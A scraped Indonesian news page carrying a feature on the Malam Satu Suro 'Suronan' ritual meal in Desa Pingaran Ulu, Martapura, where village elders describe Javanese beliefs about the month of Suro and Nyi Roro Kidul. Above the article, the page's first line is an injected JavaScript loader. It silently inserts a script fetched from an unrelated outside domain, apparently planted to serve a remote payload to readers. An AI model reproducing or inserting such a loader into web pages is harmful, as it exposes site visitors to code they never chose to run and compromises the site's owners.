(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KanalReligi & Budaya

Sakral di Malam Satu Suro


MARTAPURA, Selepas Magrib di malam pergantian tahun baru Islam, Kamis (20/9), satu per satu warga berdatangan membawa bungkusan plastik berisi takir -wadah berisi nasi lengkap berisi dengan lauknya terbuat dari daun pisang yang kini diganti kertas.

Satu orang atau satu kepala keluarga masing-masing membawa 3-4 takir. Takir-takir dikumpulkan di tengah-tengah perempatan di atas terpal.

Setelah terkumpul, puluhan warga Desa Pingaran Ulu, RT 9, Kecamatan Astambul ini duduk bersila mengelilingi takir-takir. Tak lama kemudian, Marimin, salah satu tokoh sepuh masyarakat membuka acara kenduri yang rutin digelar menjelang pergantian tahun Islam. Warga menyebutnya ‘Suronan’. Acara selamatan dilanjutkan dengan pembacaan doa yang juga dipimpin, Wardoyo salah seorang tokoh sepuh selain Marimin.

Usai ditutup do’a yang dibacakan dalam bahasa Arab dan Jawa, takir-takir yang dikumpulkan sebelumnya dibagi pada semua yang datang. Laki-laki, perempuan, anak-anak, tua muda. Beberapa warga ada yang langsung menyantap nasi selamatan di tempat, ada juga yang membawa kembali ke rumah.

Temurun dalam kepercayaan masyarakat Jawa, bulan Muharram atau dalam bahasa Jawa bulan Suro, dianggap bulan berkumpulnya bala dan kejelekan. Banyak wabah penyakit menyerang di bulan ini. Bagitu pula hama dan penyakit yang menyerang tanaman dan ternak warga.

“Selamatan malam satu Suro yang dilakukan di perempatan diharapkan menjadi penolak bala yang datang dari berbagai penjuru mata angin, barat timur, utara selatan, atas dan bawah. Nasi yang dikumpulkan merupakan warga dan dibagikan sebagai bentuk syukur dan berbagi sesama warga atas rejeki yang diperoleh selama satu tahun sebelumnya,” kata Wardoyo usai acara selamatan.

Meski berada jauh di tanah perantauan dalam kurun waktu yang relatif lama, kata Wardoyo, warga di sekitar tempat tinggalnya rutin menggelar selamatan di perempatan menjelang tanggal satu Suro.

Bulan Suro, kata Wardoyo, bagi sebagian besar warga etnis Jawa masih dianggap sakral. Pada bulan ini, warga tak berani menggelar hajatan seperti pernikahan. Yang juga tak pernah dilakukan warga pada bulan Suro adalah pindah atau menempati rumah baru.

Menurutnya pula, sebagian besar masyarakat Jawa menganggap bulan Suro bulan miliknya Nyi Roro Kidul, sosok mistis penguasa Laut Selatan. Pada bulan ini, Nyi Roro Kidul menggelar acara pernikahan anak perempuannya yang dikenal Nyi Blorong dan semua anak buahnya di alam sebelah. “Dulu saat masih di Jawa, sering terjadi mempelai pria meninggal tak lama setelah acara pernikahan digelar. Konon sang mempelai pria diminta dan dijadikan pengikut Nyi Roro Kidul,” kata Wardoyo.

Kesakralan bulan Suro yang selalu disangkutkan dengan sosok gaib Nyi Roro Kidul juga diungkapakan Abdul Mufti, salah satu tokoh Jawa di Banjarbaru yang juga menggelar acara menyambut malam pergantian tahun Hijriah.

Menurut Abdul Mufti, dahulu kala, Nyi Roro Kidul yang awalnya manusia biasa dan bertapa di pesisir Laut Selatan pada bulan Suro. Dalam pertapaannya, wadat atau tubuh Roro Kidul lenyap pada tanggal lima Suro. Lenyapnya Roro Kidul dipercaya karena kesaktian yang didapat dari pertapaannya dan menyeberang ke alam sebelah.

Setelah Nyi Roro Kidul, banyak warga lain yang juga bertapa di Pantai Selatan, tempat Nyi Roro Kidul bertapa. Dari petapa-petapa itu meneyebar cerita bahwa dalam pertapaanya diganggu dan bertemu sosok Nyi Roro Kidul. “Dalam kepercayaan Kejawen bulan Suro memang identik dengan sosok sakral penguasa Pantai Selatan, Nyi Roro Kidul,” kata Kyai Mufti, demikian Abdul Mufti biasa disapa.

Kepercayaan tentang sosok Nyi Roro Kidul di kalangan masyarakat, kata Abdul Mufti, turun temurun sebelum ajaran Islam masuk ke Tanah Jawa. Bahkan setelah Islam masuk ke tanah Jawa kepercayaan dan tradisi berkaitan dengan laut selatan dan Nyi Roro Kidul masih mengakar, termasuk masyarakat Jawa yang sebenarnya telah lama meninggalkan tanah kelahiran mereka.

“Sebagai adat dan budaya, sah-sah saja. Tapi makna peringatan atau perayaan bulan Muharam lebih dari itu. Apalagi sebagai umat Islam, Kanjeng Nabi Muhammad menerima wahyu pertama juga di bulan Muharram. Banjir besar yang meneggelamkan umat Nabi Nuh terjadi juga pada bulan Muharram. Serta banyak lagi kejadian-kejadian besar terjadi di bulan ini. Jadi wajar dilakukan peringatan smeeriah mungkin menyambut datangnya bulan Muharram, termasuk mengadakan selamatan dan syukuran,” kata Abdul Mufti.***


Desy Arfianty

Recent Posts

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

2 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

4 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

4 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

5 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

18 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

18 jam ago

This website uses cookies.